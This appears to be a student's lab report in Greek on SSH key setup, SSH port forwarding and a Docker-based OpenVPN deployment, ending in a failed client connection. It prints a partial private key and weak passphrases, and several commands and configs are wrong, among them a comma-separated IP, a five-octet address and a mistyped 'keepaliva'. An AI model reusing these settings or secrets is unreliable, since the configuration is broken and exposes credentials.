Σε ένα άλλο τερματικό δημιουργούμε και στέλνουμε ένα κλειδί με τις εντολές:

```
ssh-keygen
```

```
ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.23.0.4
```

το κλειδί μας είναι pass1234

```

root@13d314fe25f6:/home# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:ga4F9cUu4te1pb55QrhBz87MmvFvMg0u7X32zlvK4gY root@13d314fe25f6
The key's randomart image is:
+---[RSA 2048]-----+
|
|  .  .
|  . o .
|  . . o
|  o. .o . .
|  .o.S+ = +
|  o. . E *
|  . . .% .
|  .o=&o=o.
|  .o=+*&+=
+---[SHA256]-----+
root@13d314fe25f6:/home#

```

Για την σύνδεση στον worker\_4 πλέον χρειάζεται το κλειδί μας.

### Ερώτημα 3

Για το ερώτημα 3 αρκεί να εκτελέσουμε από το τερματικό μας την εντολή `sudo ssh -4 -L 8005:192,168,116,228:9005 docker@172.23.0.3` για local forward και την εντολή `sudo ssh -R 8005:192,168,116,228:9005 docker@172.23.0.3` για remote forward όπου -L local και -R remote

```

moil@ubuntu:~$ ssh -4 -L 8005:192.168.116.228:9005 docker@172.23.0.3
The authenticity of host '172.23.0.3 (172.23.0.3)' can't be established.
ECDSA key fingerprint is SHA256:9kIZ2WTsBV7EIUNlFJxcOPsW7m2Wnv8IM3xttraB31E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.23.0.3' (ECDSA) to the list of known hosts.
docker@172.23.0.3's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
moil@ubuntu:~$ sudo ssh -R 8084:localhost:80 docker@172.23.0.3
[sudo] password for moil:
docker@172.23.0.3's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jan 15 00:41:27 2021 from 172.23.0.1
$

```

ninal

## Ερώτημα 4 Δημιουργία VPN

Αρχικά δημιουργούμε το directory στο οποίο θα αποθηκεύονται τα δεδομένα με την εντολή :  
`sudo mkdir -p /var/lib/swarmlab/openvpn/openvpn-services/`

Δημιουργούμε έναν φάκελο στο swarmlab-sec με το όνομα vpn στο οποίο θα φτιάξουμε τα scripts  
μας

Ο κώδικας για το script της δημιουργίας φαίνεται στην εικόνα:

```
GNU nano 2.9.3                                create-vpn.sh
#!/bin/bash
IP=127.0.0.1                                     # Server IP
P=1194                                           # Server Port
OVPN_SERVER='10.80.0.0/16'                      # VPN Network

#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/
# Dir to save data ** this must exist **
vpn_data=$PWD/openvpn-services/
if [ ! -d $vpn_data ]; then
  mkdir -p $vpn_data
fi

NAME=swarmlab-vpn-services                       # name of docker service
DOCKERnetwork=swarmlab-vpn-services-network     # docker network
docker=registry.vlabs.uniwa.gr:5080/myownvpn    # docker image

docker stop $NAME                               #stop container
sleep 1
docker container rm $NAME                       #rm container

# rm config files
rm -f $vpn_data/openvpn.conf.*.bak
rm -f $vpn_data/openvpn.conf
rm -f $vpn_data/ovpn_env.sh.*.bak
rm -f $vpn_data/ovpn_env.sh

# create network
sleep 1
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork

#run container   see ovpn_genconfig
docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER

# create pki     see ovpn_initpki
docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki

#               see ovpn_copy_server_files
#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files

#create vpn     see --cap-add=NET_ADMIN
sleep 1
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN

sudo sysctl -w net.ipv4.ip_forward=1

#show created
docker ps
```



Ο κώδικας για την δημιουργία χρήστη φαίνεται στην εικόνα:

```
GNU nano 2.9.3 create-user.sh Modified
USERNAME=test1
vpn_data=$PWD/openvpn-services/
docker=registry.vlabs.uniwa.gr:5080/myownvpn

docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn
```

Αναβαθμίζοντας τα δικαιώματα για το αρχείο create-vpn.sh και για το create-user.sh ( chmod 700 ) ώστε να μπορούμε να τα τρέξουμε και μετά την εκτέλεση τους έχουμε:

```
Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019
Generating a RSA private key
.....+++++
.....+++++
writing new private key to '/etc/openvpn/pki/private/127.0.0.1.key.XXXXXAhaak'
-----
Using configuration from /usr/share/easy-rsa/safessl-easyrsa.cnf
Enter pass phrase for /etc/openvpn/pki/private/ca.key:
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName      :ASN.1 12:'127.0.0.1'
Certificate is to be certified until Dec 30 23:29:15 2023 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019
Using configuration from /usr/share/easy-rsa/safessl-easyrsa.cnf
Enter pass phrase for /etc/openvpn/pki/private/ca.key:

An updated CRL has been created.
CRL file: /etc/openvpn/pki/crl.pem

43f16558a711a33160f4fdff656b98fe2cfbba1d7a052c7f70508fe193509db5
net.ipv4.ip_forward = 1
CONTAINER ID   IMAGE                                COMMAND                  CREATED        STATUS        PORTS
NAMES
43f16558a711   registry.vlabs.uniwa.gr:5080/myownvpn "ovpn_run"             11 seconds ago Up 1 second    0.0.0.0:1194->1194/udp
94/udp        swarmlab-vpn-services
```

όπου βλέπουμε το vpn μας swarmlab-vpn-services με pass 1234. Αντίστοιχα τρέχουμε το αρχείο create-user.sh και έχουμε:

```

moil@ubuntu:~/swarmlab-sec/myproject/vpn$ chmod 700 create-user.sh
moil@ubuntu:~/swarmlab-sec/myproject/vpn$ ./create-user.sh

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019
Generating a RSA private key
.....+++++
.....+++++
writing new private key to '/etc/openvpn/pki/private/test1.key.XXXXpkE1lk'
-----
Using configuration from /usr/share/easy-rsa/safessl-easyrsa.cnf
Enter pass phrase for /etc/openvpn/pki/private/ca.key:
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName          :ASN.1 12:'test1'
Certificate is to be certified until Dec 30 23:40:48 2023 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

```

Για να συνδεθούμε πρέπει στο αρχείο που δημιουργήθηκε στο directory μας (test1.ovpn) να προσθέσουμε τις εξής γραμμές

```

client
nobind
dev tun
comp-lzo
resolv-retry infinite
keepalive 15 60

```

```

remote-cert-tls server
remote 192.168.1.5 1194 udp
float

```

```

GNU nano 2.9.3

client
nobind
dev tun
comp-lzo
resolv-retry infinite
keepaliva 15 60
remote-cert-tls server

remote 192.168.116.228.124 1194 udp
float
.
<key>
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBCowggSmAgEAAoIBA
CZLMGjFWvAPfUTL6QH3Ubu5kcI02a9VK/u+HJPJHKWD2G3xc
Ge00pzQg2ft3q7YyQeeZxnhdGKtootyvRhZg8K6PVeRb+Jg7
+CtG0VTx0taoSaeFZcuAffpVB1aH7cEBuShqaZyGTf00Z70L

```

Πριν συνδεθούμε στο vpn με την εντολή `openvpn --config ./test1.ovpn` πρέπει να εγκαταστήσουμε τα ανάλογα πακέτα με την εντολή : `sudo apt install openvpn`

Έχοντας ακολουθήσει όλα τα παραπάνω βήματα ,δεν κατάφερα να κάνω το VPN να τρέχει αποτελεσματικά :

```
noil@ubuntu:~/swarmlab-sec/vpn$ openvpn --config ./test1.ovpn
Fri Jan 15 07:54:14 2021 OpenVPN 2.4.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO]
[LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2019
Fri Jan 15 07:54:14 2021 library versions: OpenSSL 1.1.1 11 Sep 2018, LZO 2.08
Fri Jan 15 07:54:14 2021 TCP/UDP: Preserving recently used remote address: [AF_I
NET]122.168.116.228:1194
Fri Jan 15 07:54:14 2021 UDP link local: (not bound)
Fri Jan 15 07:54:14 2021 UDP link remote: [AF_INET]122.168.116.228:1194
Fri Jan 15 07:55:14 2021 [UNDEF] Inactivity timeout (--ping-restart), restarting
Fri Jan 15 07:55:14 2021 SIGUSR1[soft,ping-restart] received, process restarting
Fri Jan 15 07:55:19 2021 TCP/UDP: Preserving recently used remote address: [AF_I
NET]122.168.116.228:1194
Fri Jan 15 07:55:19 2021 UDP link local: (not bound)
Fri Jan 15 07:55:19 2021 UDP link remote: [AF_INET]122.168.116.228:1194
Fri Jan 15 07:56:19 2021 [UNDEF] Inactivity timeout (--ping-restart), restarting
Fri Jan 15 07:56:19 2021 SIGUSR1[soft,ping-restart] received, process restarting
Fri Jan 15 07:56:24 2021 TCP/UDP: Preserving recently used remote address: [AF_I
NET]122.168.116.228:1194
Fri Jan 15 07:56:24 2021 UDP link local: (not bound)
Fri Jan 15 07:56:24 2021 UDP link remote: [AF_INET]122.168.116.228:1194
^CFri Jan 15 07:56:29 2021 event_wait : Interrupted system call (code=4)
Fri Jan 15 07:56:29 2021 SIGINT[hard,] received, process exiting
```